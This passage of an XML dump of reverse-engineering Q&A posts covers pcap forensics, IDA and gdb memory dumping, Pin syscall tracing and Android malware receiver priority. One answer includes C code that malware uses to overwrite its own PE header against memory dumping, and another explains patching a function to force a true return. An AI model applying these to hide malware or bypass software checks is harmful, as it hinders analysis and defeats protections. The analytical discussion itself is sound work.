BY-SA 3.0" />
  <row Id="9359" PostTypeId="2" ParentId="9347" CreationDate="2015-07-16T09:30:29.123" Score="2" Body="&lt;p&gt;Malware can be removing/manipulating its own PE Header.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void destroyPEHeaders(){&#xA;        DWORD OldProtect = 0;&#xA;        char *pBaseAddr = (char*)GetModuleHandle(NULL);&#xA;        VirtualProtect(pBaseAddr, 4096,&#xA;            PAGE_READWRITE, &amp;amp;OldProtect);&#xA;        srand(time(NULL));&#xA;        ZeroMemory(pBaseAddr, 4096);&#xA;        srand(time(NULL));&#xA;        for (int i = 0; i &amp;lt; 4096; i++){&#xA;            char *x = pBaseAddr;&#xA;            x += i;&#xA;            *x = rand() % 255;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Something like this normally blocks stuff like CreateRemoteThread calls, so maybe it does the same thing to dumps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you should try rewriting the original PE?&lt;/p&gt;&#xA;" OwnerUserId="13031" LastActivityDate="2015-07-16T09:30:29.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="1" AcceptedAnswerId="9378" CreationDate="2015-07-16T13:06:35.270" Score="1" ViewCount="1400" Body="&lt;p&gt;So the problem is that i have a corrupt pcap file. You can find a the pcap file [here][1]. &#xA;First i did the file command on it : &lt;code&gt;the.pcap: tcpdump capture file (little-endian) - version 2.4, capture length 24)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i thought Wireshark could open it easily and then i might be able to find any key/flag by analyzing the packets.&#xA;But opening it with wireshark just gave me an error &quot;network type 216 unknown or unsupported&quot;. So first, i did some research on the different layers types for a pcap.Here is the &lt;a href=&quot;http://www.tcpdump.org/linktypes.html&quot; rel=&quot;nofollow&quot;&gt;link&lt;/a&gt; to the different value of layer header. As expected the type with the value 216 has no reference so i need to change the 216 value to the right one? But how ? how can i know which one is appropriate ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After googling a little bit i've seen that we can change the type's value manually.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  D4 C3 B2 A1  02 00 04 00   00 00 00 00  00 00 00 00   ................&#xA;00000010  18 00 00 00  D8 00 00 00   8E 6E 6E 52  A9 CB 00 00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below you can see the first bytes of the pcap file and the byte D8 is the type's value which here is equal to 216. Should i try to edit a program which modify the original pcap file with all the existing type value and see which one works ? or is there any way to directly to know which value is the right one ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone has some hint, it would be great. Thanks again and bye.&lt;/p&gt;&#xA;" OwnerUserId="12182" LastEditorUserId="12182" LastEditDate="2015-10-12T16:26:59.067" LastActivityDate="2015-10-12T16:26:59.067" Title="Find the right layer header for a corrupt pcap" Tags="|digital-forensics|networking|wireshark|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9362" PostTypeId="2" ParentId="8167" CreationDate="2015-07-16T13:44:05.963" Score="1" Body="&lt;p&gt;Typically this will use known compression algorithms. Just use &lt;a href=&quot;http://binwalk.org/&quot; rel=&quot;nofollow&quot;&gt;binwalk&lt;/a&gt; to find the offset and the compression algorithm. Then decompress and dump the strings. Keep in mind that you may want to specify the encoding sometimes, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ string -e l input_file&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3041" LastActivityDate="2015-07-16T13:44:05.963" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9363" PostTypeId="2" ParentId="9361" CreationDate="2015-07-16T14:10:28.543" Score="2" Body="&lt;p&gt;I'm quite sure this isn't a pcap file at all, despite what file says, and the D8 doesn't seem to be a network type at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, because D8 (216) isn't a valid link type according to &lt;a href=&quot;http://www.tcpdump.org/linktypes.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tcpdump.org/linktypes.html&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, because hexdumping a bit more of the file yields this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000  d4 c3 b2 a1 02 00 04 00 00 00 00 00 00 00 00 00   ................&#xA;00000010  18 00 00 00 d8 00 00 00 8e 6e 6e 52 a9 cb 00 00   .........nnR....&#xA;00000020  18 00 00 00 18 00 00 00 8e 6e 6e 52 00 00 00 00   .........nnR....&#xA;00000030  a9 cb 00 00 00 00 00 00 04 00 04 00 1c 00 00 00   ................&#xA;00000040  8e 6e 6e 52 a9 cb 00 00 18 00 00 00 18 00 00 00   .nnR............&#xA;00000050  8e 6e 6e 52 00 00 00 00 a9 cb 00 00 00 00 00 00   .nnR............&#xA;00000060  01 00 1c 00 00 00 00 00 8e 6e 6e 52 a9 cb 00 00   .........nnR....&#xA;00000070  18 00 00 00 18 00 00 00 8e 6e 6e 52 00 00 00 00   .........nnR....&#xA;00000080  a9 cb 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you restructure this a bit, focussing on the 8e 6e 6e 52 (.nnR) sequence:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000 d4 c3 b2 a1 02 00 04 00&#xA;0008 00 00 00 00 00 00 00 00&#xA;0010 18 00 00 00 d8 00 00 00 8e 6e 6e 52             a9 cb 00 00&#xA;0020 18 00 00 00 18 00 00 00 8e 6e 6e 52 00 00 00 00 a9 cb 00 00 &#xA;0034 00 00 00 00 &#xA;0038 04 00 04 00 1c 00 00 00 8e 6e 6e 52             a9 cb 00 00&#xA;0048 18 00 00 00 18 00 00 00 8e 6e 6e 52 00 00 00 00 a9 cb 00 00&#xA;005c 00 00 00 00&#xA;0060 01 00 1c 00 00 00 00 00 8e 6e 6e 52             a9 cb 00 00&#xA;0070 18 00 00 00 18 00 00 00 8e 6e 6e 52 00 00 00 00 a9 cb 00 00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you see that a) there is clearly a pattern to the file, and b), if the first &lt;code&gt;d8&lt;/code&gt; is a link type, then &lt;code&gt;1c&lt;/code&gt;  and &lt;code&gt;00&lt;/code&gt;  should be link types as well. But it doesn't make any sense for link types that vary so much, and have the same content, to be included in one single capture file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there's nothing that resembles anything like a source and destination ip address, or at least mac address if the protocol wasn't tcp/ip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone just saved the payload of a tcp connection, and somehow made a mistake when saving it, giving it a tcpdump header. But i'm 99% sure this isnt a corrupted tcpdump file; this seems to be something very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now if you told me that this file was created 25 years ago on ARCNET hardware running an IPX protocol, i might reconsider, since arcnet didn't have mac addresses, just network card numbers between 1-255 which had to be configured using dip switches, and IPX reused the network card number for addressing. But unless you have a good explanation how the file was created, and which kind of packets and payload it should contain, which could explain the structure, i'd say this isn't tcpdump or pcap at all, and patching a byte or two won't help you open it in wireshark.&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-16T14:10:28.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="1" CreationDate="2015-07-16T15:21:58.207" Score="6" ViewCount="1717" Body="&lt;p&gt;Can anyone suggest a free and preferably open source software tool that can reconstruct / build / generate a control-flow graph from a set of x86 execution traces of the same program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found an &lt;a href=&quot;http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.208.8446&amp;amp;rep=rep1&amp;amp;type=pdf&quot; rel=&quot;noreferrer&quot;&gt;interesting paper&lt;/a&gt; on this topic. However, I could not find their implementation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions would be appreciated. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="3696" LastActivityDate="2017-05-16T16:53:55.273" Title="Reconstruct control-flow graph from x86 instruction trace" Tags="|x86|control-flow-graph|tracing|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9365" PostTypeId="1" AcceptedAnswerId="9369" CreationDate="2015-07-16T15:24:19.570" Score="1" ViewCount="827" Body="&lt;p&gt;the experiment is on Linux, &lt;code&gt;x86&lt;/code&gt; &lt;code&gt;32-bit&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So suppose in my assembly program, I need to periodically (for instance every time after executing 100000 basic blocks) dump an array in &lt;code&gt;.bss&lt;/code&gt; section from memory to the disk.  The starting address and size of the array is fixed. The array records the executed basic block's address, the size is &lt;code&gt;16M&lt;/code&gt; right now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to write some native code, to &lt;code&gt;memcpy&lt;/code&gt; from &lt;code&gt;.bss&lt;/code&gt; section to the &lt;code&gt;stack&lt;/code&gt;,  and then write it back to disk. But it seems to me that it is very tedious and I am worried about the performance and memory consumption, say, every-time allocate a very large memory on the stack...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So here is my question, how can I dump the memory from global data sections in an efficient way? Am I clear enough? &lt;/p&gt;&#xA;" OwnerUserId="3215" LastActivityDate="2015-07-16T21:35:47.153" Title="Dump global datas to disk in assembly code" Tags="|assembly|binary-analysis|linux|c|memory-dump|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="1" AcceptedAnswerId="9367" CreationDate="2015-07-16T15:29:01.167" Score="2" ViewCount="2464" Body="&lt;p&gt;At &lt;strong&gt;line #3&lt;/strong&gt; of a function, I have a QWORD at address 7FE875F3FE0 which resolves to a value of &lt;strong&gt;85857490416&lt;/strong&gt; for which the function returns true. If not, the value is set to 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know how can I modify this QWORD to the said sequence of digits so that the function returns true. I have tried assembling this LoC, but it kills the function due to the non-match of the byte padding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Cave&lt;/strong&gt; is an option? If so, can somebody help me? Else a MOV statement?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just started recently with RE and IDA Pro.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code Segment&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbx&#xA;sub     rsp, 20h&#xA;mov     rax, cs:qword_7FE875F3FE0&#xA;mov     rbx, rcx&#xA;test    rax, rax&#xA;jnz     short loc_7FE8728D09D&#xA;&#xA;loc_7FE8728D09D:&#xA;mov     [rcx], rax&#xA;xor     eax, eax&#xA;add     rsp, 20h&#xA;pop     rbx&#xA;retn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;.data&lt;/strong&gt; representation of the QWORD&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data:000007FE875F3FE0 qword_7FE875F3FE0 dq ? &#xA;.data:000007FE875F3FE0                                         &#xA;.data:000007FE875F3FE8 db    ? ;&#xA;.data:000007FE875F3FE9 db    ? ;&#xA;.data:000007FE875F3FEA db    ? ;&#xA;.data:000007FE875F3FEB db    ? ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12988" LastActivityDate="2015-09-14T17:35:55.030" Title="Set QWORD with a constant value in IDA Pro" Tags="|ida|debugging|dll|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9367" PostTypeId="2" ParentId="9366" CreationDate="2015-07-16T16:06:03.533" Score="1" Body="&lt;p&gt;The easiest solution would likely be to patch the first block of the function to be the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    rbx&#xA;sub     rsp, 20h&#xA;mov     rax, 85857490416&#xA;mov     rbx, rcx&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Though &lt;code&gt;mov rax, 85857490416&lt;/code&gt; will consume extra bytes, you can remove &lt;code&gt;test rax, rax&lt;/code&gt; and &lt;code&gt;jnz short loc_7FE8728D09D&lt;/code&gt; to compensate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if it still doesn't fit, then yes, a code-cave would likely be the next option.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastEditorUserId="1562" LastEditDate="2015-07-16T16:28:23.057" LastActivityDate="2015-07-16T16:28:23.057" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="9368" PostTypeId="1" AcceptedAnswerId="9371" CreationDate="2015-07-16T16:21:30.970" Score="2" ViewCount="1255" Body="&lt;p&gt;Reversing some Android malware I see that it sets &lt;code&gt;android:priority&lt;/code&gt; to 10000 in the AndroidManifest.xml file. Looking at the Android Documentation I see that it needs a value &gt; &lt;code&gt;-1000&lt;/code&gt; and &amp;lt; &lt;code&gt;1000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does this work? Is &lt;code&gt;10000&lt;/code&gt; a valid priority value? Are there legitimate applications that use that priority value?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2015-07-16T18:02:45.563" Title="Android priority values" Tags="|android|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9369" PostTypeId="2" ParentId="9365" CreationDate="2015-07-16T16:35:45.890" Score="1" Body="&lt;p&gt;In case of IdaPro being available - it works on Linux as well - you could consider using an Ida script, like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    static main()&#xA;    {&#xA;        DumpMem();&#xA;    }&#xA;&#xA;&#xA;    static DumpMem()&#xA;    {&#xA;        auto h;&#xA;        auto ea;&#xA;        auto eaStart = &amp;lt;here your start address&amp;gt;;&#xA;        Message(&quot;dumping...&quot;);&#xA;        h = fopen(&quot;dumped.bin&quot;, &quot;wb&quot;);&#xA;        for (ea=eaStart; ea&amp;lt;eaStart+0x100000; ea=ea+1)&#xA;        {&#xA;            fputc(Byte(ea), h);&#xA;        }&#xA;        fclose(h);&#xA;        Message(&quot;done!\n&quot;);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The use would be like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy and paste the above code into a file with the .idc extension, write the memory address into it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Put a breakpoint where you need the dump&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When the BPt triggers, in Ida, from Menu File, Script File ... select your idc file.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2015-07-16T16:35:45.890" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9371" PostTypeId="2" ParentId="9368" CreationDate="2015-07-16T18:02:45.563" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://developer.android.com/reference/android/content/IntentFilter.html&quot; rel=&quot;nofollow&quot;&gt;Android documentation&lt;/a&gt; does, indeed, specify &lt;code&gt;SYSTEM_HIGH_PRIORITY = 1000&lt;/code&gt; and &lt;code&gt;SYSTEM_LOW_PRIORITY = -1000&lt;/code&gt;. Those are guidelines, though: the &lt;a href=&quot;https://android.googlesource.com/platform/frameworks/base/+/master/core/java/android/content/IntentFilter.java&quot; rel=&quot;nofollow&quot;&gt;IntentFilter source code&lt;/a&gt; doesn't actually check the priority. This means the actual range is from -2,147,483,648 to 2,147,483,647.&#xA;By using a very high value the malware can guarantee to run its receiver before any other. Since it doesn't follow the guidelines, it shouldn't be used in production/not malicious code. &lt;/p&gt;&#xA;" OwnerUserId="12484" LastActivityDate="2015-07-16T18:02:45.563" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9372" PostTypeId="2" ParentId="9365" CreationDate="2015-07-16T19:05:57.400" Score="1" Body="&lt;p&gt;I don't see a reason why you shouldn't be able to dump a block to the disk from the stack directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;fcntl.h&amp;gt;&#xA;&#xA;char *block;&#xA;&#xA;int main(void) {&#xA;    int fd=open(&quot;/tmp/myfile&quot;, O_WRONLY|O_APPEND|O_CREAT, 0666);&#xA;    write(fd, block, 0x400000);&#xA;    close(fd);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and continuing with&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -m32 -S b.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you arrive at this b.s file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.LC0:&#xA;    .string &quot;/tmp/myfile&quot;&#xA;    .text&#xA;.globl main&#xA;    .type   main, @function&#xA;main:&#xA;    pushl   %ebp&#xA;    movl    %esp, %ebp&#xA;    andl    $-16, %esp&#xA;    subl    $32, %esp&#xA;    movl    $438, 8(%esp)&#xA;    movl    $1089, 4(%esp)&#xA;    movl    $.LC0, (%esp)           &amp;lt;--- make sure this is the filename string&#xA;    call    open&#xA;    movl    %eax, 28(%esp)&#xA;    movl    block, %eax             &amp;lt;--- and this is the address of your buffer&#xA;    movl    $4194304, 8(%esp)&#xA;    movl    %eax, 4(%esp)&#xA;    movl    28(%esp), %eax&#xA;    movl    %eax, (%esp)&#xA;    call    write&#xA;    movl    28(%esp), %eax&#xA;    movl    %eax, (%esp)&#xA;    call    close&#xA;    leave&#xA;    ret&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which you could copy to your instrumentation with very few modifications. (You'll probably want to save a few registers and restore them on exit).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, compile the program using gcc -static -m32 b.c and objdump -d the resulting executable to find out how the system calls are implemented, then replace the library calls with the direct system calls. This has the additional advantage that you don't have to mess with import lists if your instrumentation modifies a completed executable file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;push registers you want to save&amp;gt;&#xA;mov  $438, %edx&#xA;mov  $1089, %ecx&#xA;mov  filename, %ebx&#xA;mov  $0x5, %eax      ;5 is system call # for open&#xA;call *0x80d66c4      ;this is the system call address pulled from objdump&#xA;mov  %eax, %esi      ;save fd&#xA;mov  $0x400000, %edx&#xA;mov  block, %ecx     ;your buffer address&#xA;mov  %eax, %ebx&#xA;mov  $0x4, %eax      ;4 is system call # for write&#xA;call *0x80d66c4&#xA;mov  %esi, %ebx&#xA;mov  $0x6, eax       ;6 is system call # for close&#xA;call *0x80d66c4&#xA;&amp;lt;pop registers&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This doesn't do any error checking, but you should be ok if you put the file on a local hard disk that has enough space. Also, it appends to the file every time instead of creating it, so you'll have to &lt;code&gt;rm&lt;/code&gt; the file before each run. &lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2015-07-16T19:05:57.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9373" PostTypeId="1" CreationDate="2015-07-16T20:04:50.010" Score="3" ViewCount="3270" Body="&lt;p&gt;I want to generate call graph from Ida pro but I want to do it automatically. I wrote these two scripts but they did not work. Could you help me what is the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include ida.idc;&#xA;#include idc.idc;&#xA;static main()&#xA;{&#xA;cur = MinEA()&#xA;end = MaxEA()&#xA;auto str_gdlpath;&#xA;str_gdlpath = GetIdbPath();&#xA;str_gdlpath = substr(str_gdlpath,0,strlen(str_gdlpath)-4)+&quot;.gdl&quot;;&#xA;GenCallGdl(str_gdlpath, &quot;Call Gdl&quot;,cur, end, CHART_WINGRAPH);&#xA;Message(&quot;Gdl file have been saved to %s&quot;,str_gdlpath);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include ida.idc;&#xA;#include idc.idc;&#xA;static main ()&#xA; {&#xA; auto str_gdlpath;&#xA; str_gdlpath = GetIdbPath ();&#xA; str_gdlpath = substr (str_gdlpath, 0, strlen (str_gdlpath) - 4) + &quot;.gdl&quot;;&#xA; GenCallGdl (str_gdlpath, &quot;Call Gdl&quot;, CHART_WINGRAPH);&#xA; Message (&quot;Gdl file have been saved to% s&quot;, str_gdlpath);&#xA; } &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The command I am using to run is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./idal -c -A -Sgdlscript.idc test.exe&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to do this in IDAPython too?&lt;/p&gt;&#xA;" OwnerUserId="13037" LastEditorUserId="13037" LastEditDate="2015-07-16T20:56:28.150" LastActivityDate="2015-09-19T12:44:52.943" Title="Automatic generation of call graph in IDA Pro" Tags="|ida|idapython|ida-plugin|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9374" PostTypeId="2" ParentId="9373" CreationDate="2015-07-16T21:26:11.733" Score="2" Body="&lt;p&gt;Most of the functionality from IDC is provided by IDA's &lt;code&gt;idc.py&lt;/code&gt; module. You can read the docs &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/idc-module.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following code should work the same way your IDC did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idc&#xA;&#xA;cur = idc.MinEA()&#xA;end = idc.MaxEA()&#xA;path = idc.GetIdbPath().rsplit('.')[0] + '.gdl'&#xA;idc.GenCallGdl(path, 'Call Gdl', idc.CHART_GEN_GDL)&#xA;idc.Message('Gdl file has been saved to {}\n'.format(path))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="12872" LastEditDate="2015-07-19T09:05:38.513" LastActivityDate="2015-07-19T09:05:38.513" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="9375" PostTypeId="2" ParentId="9365" CreationDate="2015-07-16T21:35:47.153" Score="1" Body="&lt;p&gt;with gdb you can define a canned sequence and execute it&lt;br&gt;&#xA;a sample canned sequence could be   &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;stepi {count} append memory {filepath} {start} {end} &lt;/h3&gt;&#xA;&#xA;&lt;p&gt;a sample run on cygwin gdb over gdb &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb gdb&#xA;GNU gdb (GDB) Cygwin 7.9.1-1&#xA;&#xA;(gdb) define dumpy&#xA;Type commands for definition of &quot;dumpy&quot;.&#xA;End with a line saying just &quot;end&quot;.&#xA;&amp;gt;si 10000&#xA;&amp;gt;append value ../../cygdrive/c/tmp/dumpy.txt $pc&#xA;&amp;gt;append memory ../../cygdrive/c/tmp/dumpy.txt $pc $pc+4&#xA;&amp;gt;end&#xA;(gdb) break *0x401000&#xA;Breakpoint 1 at 0x401000&#xA;(gdb) r&#xA;Starting program: /usr/bin/gdb&#xA;[New Thread 3300.0xe20]&#xA;&#xA;Breakpoint 1, 0x00401000 in ?? ()&#xA;(gdb) dumpy&#xA;[New Thread 3300.0xbc0]&#xA;0x610bf987 in auto_protect_for(void*) () from /usr/bin/cygwin1.dll&#xA;&#xA;(gdb) x/x $pc&#xA;0x610bf987 &amp;lt;_ZL16auto_protect_forPv+135&amp;gt;:       0x05f6e572      &#xA;&#xA;(gdb) dumpy&#xA;0x610f007b in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()&#xA;   from /usr/bin/cygwin1.dll&#xA;&#xA;&#xA;(gdb) dumpy&#xA;0x610f0028 in sys_cp_wcstombs(int (*)(_reent*, char*, wchar_t, char const*, _mbstate_t*), char const*, char*, unsigned int, wchar_t const*, unsigned int) ()&#xA;   from /usr/bin/cygwin1.dll&#xA;(gdb)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;xxd doesnt convert endianness so i cooked a powershell script to dump the dumpy.txt&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = gc -encoding byte $args[0]&#xA;$j=0&#xA;while($j-lt $file.length) {&#xA;$i=$j;$a=&quot;&quot;;($i+3)..($i+0)|%{$a+=(&quot;{0:x2}&quot; -f $file[$_])};$a+=&quot; &quot;;&#xA;$i=$i+4;($i+3)..($i+0)|%{$a+=(&quot;{0:x2}&quot; -f $file[$_])};&#xA;$a&#xA;$j+=8&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dumping the dumpy.txt as address , content pairs with the powershell script above you can see it matches gdb output&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS C:\tmp&amp;gt; powxxd.ps1 .\dumpy.txt&#xA;610bf987 05f6e572&#xA;610f007b f6851f74&#xA;610f0028 2c24448b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-07-16T21:35:47.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9376" PostTypeId="1" CreationDate="2015-07-16T22:22:16.200" Score="0" ViewCount="462" Body="&lt;p&gt;(The problem is updated... as the investigation goes deep)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to intercept all syscalls originated from a shared object file. The requirement is not to modify the kernel code (e.g. can not overwrite the syscall table). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am considering static binary rewriting technique (specifically, &lt;a href=&quot;http://www.dyninst.org&quot; rel=&quot;nofollow&quot;&gt;dyninst&lt;/a&gt;) to do the job. However, dyninst can only specify instrumentation points by function name. While it is possible to exhaust all syscall functions, can dyninst or one of other static binary rewriting tools allow user to instrument at instruction level. That is, use &lt;code&gt;syscall&lt;/code&gt; instruction as instrumentation point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I do prefer static instrumentation over the dynamic one, since I need to instrumen one specific shared object.)&lt;/p&gt;&#xA;" OwnerUserId="12473" LastEditorUserId="12473" LastEditDate="2015-07-17T22:18:30.017" LastActivityDate="2015-07-17T22:18:30.017" Title="Instrumenting syscall by static binary rewriting" Tags="|instrumentation|operating-systems|function-hooking|system-call|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9377" PostTypeId="2" ParentId="9376" CreationDate="2015-07-16T22:30:04.393" Score="2" Body="&lt;p&gt;&lt;code&gt;PIN_AddSyscallEntryFunction&lt;/code&gt; and &lt;code&gt;PIN_AddSyscallExitFunction&lt;/code&gt; should do the trick. Link to the &lt;a href=&quot;https://software.intel.com/sites/landingpage/pintool/docs/49306/Pin/html/group__PIN__SYSCALL__API.html&quot; rel=&quot;nofollow&quot;&gt;Documentation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Snippet using theses APIs : (credits to &lt;a href=&quot;http://jbremer.org/malware-unpacking-level-pintool/&quot; rel=&quot;nofollow&quot;&gt;Jurriaan Bremer&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &quot;pin.H&quot;&#xA;&#xA;void syscall_entry(THREADID thread_id, CONTEXT *ctx,&#xA;    SYSCALL_STANDARD std, void *v)&#xA;{&#xA;    printf(&quot;system-call: %d, arguments:&quot;,&#xA;        PIN_GetSyscallNumber(ctx, std));&#xA;    for (int i = 0; i &amp;lt; 4; i++) {&#xA;        ADDRINT value = PIN_GetSyscallArgument(ctx, std, i);&#xA;        printf(&quot;  %d 0x%08x&quot;, value, value);&#xA;    }&#xA;}&#xA;&#xA;void syscall_exit(THREADID thread_id, CONTEXT *ctx,&#xA;    SYSCALL_STANDARD std, void *v)&#xA;{&#xA;    ADDRINT return_value = PIN_GetSyscallReturn(ctx, std);&#xA;    printf(&quot;, return-value: %d 0x%08x\n&quot;, return_value,&#xA;        return_value);&#xA;}&#xA;&#xA;int main(int argc, char *argv[])&#xA;{&#xA;    if(PIN_Init(argc, argv)) {&#xA;        printf(&quot;Usage: %s &amp;lt;binary&amp;gt; [arguments]\n&quot;);&#xA;        return 0;&#xA;    }&#xA;&#xA;    PIN_AddSyscallEntryFunction(&amp;amp;syscall_entry, NULL);&#xA;    PIN_AddSyscallExitFunction(&amp;amp;syscall_exit, NULL);&#xA;&#xA;    PIN_StartProgram();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11799" LastActivityDate="2015-07-16T22:30:04.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
